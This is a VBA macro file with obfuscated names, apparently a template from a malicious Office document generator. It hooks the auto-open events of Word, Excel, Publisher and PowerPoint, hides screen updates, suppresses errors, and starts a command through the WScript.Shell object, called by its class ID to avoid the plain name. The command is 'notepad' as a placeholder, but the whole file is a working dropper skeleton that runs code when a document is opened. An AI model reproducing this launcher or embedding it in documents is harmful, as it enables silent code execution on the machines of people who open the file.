Sub obf_GeneratorEntryPoint()
    On Error GoTo obf_ProcError
    Dim obf_code
    obf_code = ""
    

    obf_LaunchCommand "notepad"

obf_ProcError:
End Sub

Sub OnPowerPoint()
    obf_MacroEntryPoint
End Sub

Sub AutoOpen()
    ' Becomes launched as first on MS Word / Publisher
    Application.ScreenUpdating = False
    obf_MacroEntryPoint
    Application.ScreenUpdating = True
End Sub

Sub obf_MacroEntryPoint()
    On Error Resume Next

    
    obf_GeneratorEntryPoint
    
End Sub

Sub Document_Open()
    ' Becomes launched as second, another try, on MS Word / Publisher
    Application.ScreenUpdating = False
    obf_MacroEntryPoint
    Application.ScreenUpdating = True
End Sub

Sub Auto_Open()
    ' Becomes launched as first on MS Excel
    Application.ScreenUpdating = False
    obf_MacroEntryPoint
    Application.ScreenUpdating = True
End Sub

Sub obf_LaunchCommand(ByVal obf_command As String)
    On Error GoTo obf_ProcError
    Dim obf_launcher As String
    Dim obf_cmd

    With CreateObject("new:72C24DD5-D70A-438B-8A42-98424B88AFB8")
        With .Exec(obf_command)
            .Terminate
        End With
    End With
obf_ProcError:
End Sub

Sub Workbook_Open()
    ' Becomes launched as second, another try, on MS Excel
    Application.ScreenUpdating = False
    obf_MacroEntryPoint
    Application.ScreenUpdating = True
End Sub